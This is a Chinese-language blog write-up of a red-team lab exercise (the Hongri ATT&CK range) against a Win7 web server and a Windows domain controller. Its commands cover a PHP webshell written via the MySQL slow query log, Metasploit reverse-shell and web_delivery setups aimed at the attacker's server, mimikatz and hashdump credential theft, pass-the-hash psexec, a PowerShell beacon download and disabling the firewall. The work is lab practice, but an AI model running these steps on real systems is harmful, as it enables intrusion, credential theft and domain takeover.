美文网首页内网攻防
实战——红日ATT&CK系列靶场(一)

实战——红日ATT&CK系列靶场(一)

作者: book4yi | 来源:发表于2022-06-08 22:45 被阅读0次

    前言:


    在最近一年的工作中,很少能接触到内网渗透的工作,为了进一步锻炼内网渗透的能力,理清内网渗透中的思路及攻击手法,笔者打算对国内外的优秀内网靶场进行模拟实战训练,记录自己的思路以及不足处,本篇将记录对红日ATT&CK系列靶场实战渗透过程。

    环境配置:


    • 腾讯云主机:81.x.x.x(攻击机)、192.168.54.129(Kali攻击机)
    • win7(VM1):192.168.54.128(模拟外网web服务器,可出网),192.168.52.143(NAT网卡,VMnet 1网卡)
    • windows server 2003(VM2):192.168.52.141,模拟内网域成员主机(VMnet 1,不出网)
    • windows server 2008(VM3):192.168.52.138,模拟内网域控主机(VMnet 1,不出网)

    拓扑图如下:

    VM1、VM2、VM3在同一内网中,VM1 web服务开放在外网,只能通过拿下VM1后将其作为跳板进行横向渗透,拿下win2008和win2003服务器。如果想通过物理机进行渗透的话,需要将VMnet8网卡禁用。清楚自己的目的后,就可以打开win7中的phpstudy,开放web服务和mysql服务,然后就可以愉快地玩耍了。

    信息收集:


    端口扫描情况:

    目录扫描结果:

    目前已有信息:

    • mysql不允许外连
    • beifen.rar为源码备份压缩包,可以选择搭建环境配合代码审计挖掘漏洞
    • phpinfo泄露
    • 存在数据库管理工具phpmyadmin,可以通过爆破进后台或者查找历史漏洞

    无论是爆破还是代码审计都有拿shell的机会,按照先易后难以及时间耗费尽可能少的原则,优先选择phpmyadmin爆破以及查找历史漏洞的方式

    phpmyadmin版本为3.5.8.2,查了查似乎不存在历史漏洞,那么就只能从爆破入手了:

    通过之前泄露的phpinfo页面知道了web服务器的绝对路径C:/phpStudy/WWW,那么登录进入后先通过慢日志查询写入webshell:

    set global slow_query_log=1;  # 启用慢查询日志(默认禁用)
    set global slow_query_log_file='C://phpStudy//WWW//slow_log.php'; 
    select @@long_query_time;  # 慢查询时间值
    select '<?php @eval($_POST[pass]);?>' or sleep(11);
    

    成功拿到webshell:

    whoami
    ipconfig /all
    wmic qfe GET hotfixid
    tasklist /svc
    ping www.baidu.com
    net view /domain  # 查看当前网络域环境,查询有几个域
    net view  # 查询同域机器
    net user /domain  # 查询域用户列表
    net group "Domain controllers" /domain  # 查询域控制器
    net group "domain admins" /domain  # 查看域管理员
    

    在cs中执行net view,查看当前域中的计算机列表:

    • 存在域god.org,域控主机为owa.god.org(192.168.52.138)
    • 当前用户为域管用户
    • 域内有三个用户:Administrator、ligang、liukaifeng01
    • 不存在杀软
    • 可出网,没有限制
    • 补丁较少

    基于以上情况,决定进行提权操作,然后拿到明文密码或者NTLM,然后通过WMI、PTH、PTT或者白银票据拿下域控,先上线CS瞅瞅

    目标环境存在python,这里使用python反弹shell,然后上线CS利用SweetPotato提权:

    加载mimikatz获取NTLM哈希和明文密码:

    然后需要确定当前主机能通哪些网段,确定域内存活主机,做进一步信息收集工作,同时要做好权限维持工作:

    通过自身网卡IP段,路由表,本地连接信息,arp缓存,本地host文件,以及浏览器历史记录等确定可通IP段

    ipconfig /all
    netstat -ant
    route print 
    arp -a
    

    查看是否开放远程桌面,若无则利用msf开启,并查看远程桌面端口:

    # 查看TermService服务
    tasklist /svc | find "Ter"
    run post/windows/manage/enable_rdp
    REG QUERY "HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\Terminal Server\WinStations\RDP-Tcp" /V PortNumber
    

    利用frp穿透工具连接内网主机的rdp:

    成功登录远程桌面:

    确定有哪些内网IP后尝试使用Goby进行资产识别(漏洞扫描速度很慢,会漏报一些漏洞,不建议扫描整个C段):

    刚好最近TideFinger更新了,试试效果咋样:

    因为拿下的win7存在双网卡,为了尽可能多的获取主机权限,考虑到CS的后渗透模块较少,选择将CS会话传递到MSF:

    use exploit/multi/handler
    set payload windows/meterpreter/reverse_http
    set lhost 192.168.54.129
    set lport 4488
    

    然后在 CS上先创建一个 Foreign HTTP 监听,之后在 CS 上右击待传递的会话选择 Spawn ,选择刚刚创建的 Foreign HTTP 监听

    由于MSF和CS部署在同一台VPS上,不方便直接利用会话传递,这里我选择通过exploit/multi/script/web_delivery模块获得一个Meterpreter:

    use exploit/multi/script/web_delivery
    set payload python/meterpreter/reverse_tcp
    set target 0
    set lhost 81.x.x.x
    run
    

    遇到的问题:python2需要在高版本运行,python3正常上线

    获取内网网段信息,并添加一条通向192.168.52.0/24内网的路由:

    run get_local_subnets
    run autoroute -s 192.168.52.0/24
    

    利用scaninfo进行快速扫描:

    scaninfo_windows_x64.exe -t1000 -i 192.168.52.138
    

    确定域控主机有开放WMI和SMB,直接利用wmiexec执行系统命令:

    ladon.exe wmiexec2 192.168.52.138 GOD\administrator pass123 cmd ipconfig
    

    在域环境中,域管理员组内用户可以利用hash传递上线MSF:

    exploit/windows/smb/psexec
    set rhosts 192.168.52.138
    set SMBDomain GOD
    set SMBUser administrator
    set SMBPass aad3b435b51404eeaad3b435b51404ee:6703dac9a915xxxxxxxxxxxxxxxxxxxx
    run
    

    或者利用以下模块:

    exploit/windows/smb/psexec_psh
    

    获取到system权限的meterpreter ,这里直接使用hashdump会报错,可能是因为该模块默认是加载32位的系统,所以如果目标主机是64位系统的话,直接默认加载该模块会导致很多功能无法使用。所以如果目标系统是64位的,则必须先查看系统进程列表,然后将meterpreter进程迁移到一个64位程序的进程中,然后再使用如下命令获取所有域用户的Hash:

    hashdump
    # 或者
    run post/windows/gather/smart_hashdump
    

    加载kiwi获取明文凭证:

    load kiwi
    creds_all
    

    或者我们也可以通过wmiexec.py获取一个shell,由于域控不出网,这里通过被控主机WIN7作为中转站进行转发上线CS:

    生成EXE并上传到win7的web服务器的根目录下,然后通过powershell进行下载:

    powershell (new-object System.Net.WebClient).DownloadFile('http://192.168.52.143/beacon.exe','evil.exe')
    

    结果运行报错。。。。尴尬。后面想利用goproxy http代理上线CS,明明受控主机监听的地址为0.0.0.0,可死活无法访问,用nmap扫描发现并没有开放,我这才想到可能是防火墙策略的原因,开启了阻止所有与未在允许程序列表中的程序的连接,也就是设置了白名单,难怪我CS上线域控失败。:

    关闭防火墙:netsh advfirewall set allprofiles state off,重新进行转发上线:

    遇到的问题:


    • 使用python反弹shell后无法切换目录
    • 在蚁剑的虚拟终端执行powershell上线CS失败
    • 利用msf反弹psh后,长时间不执行系统命令后shell就断了
    • 使用蚁剑上传大文件时会超时,需要修改超时时间
    • 利用Invoke-Mimikatz.ps1获取hash报错:PowerShell architecture (32bit/64bit) doesn't match OS architecture. 64bit PS must be used on a 64bit OS

    后续计划:


    下一个红日靶场实战
    在win7安装360等安全防护软件的情况下进行内网渗透

    相关文章

      网友评论

        本文标题:实战——红日ATT&CK系列靶场(一)

        本文链接:https://www.haomeiwen.com/subject/qzahprtx.html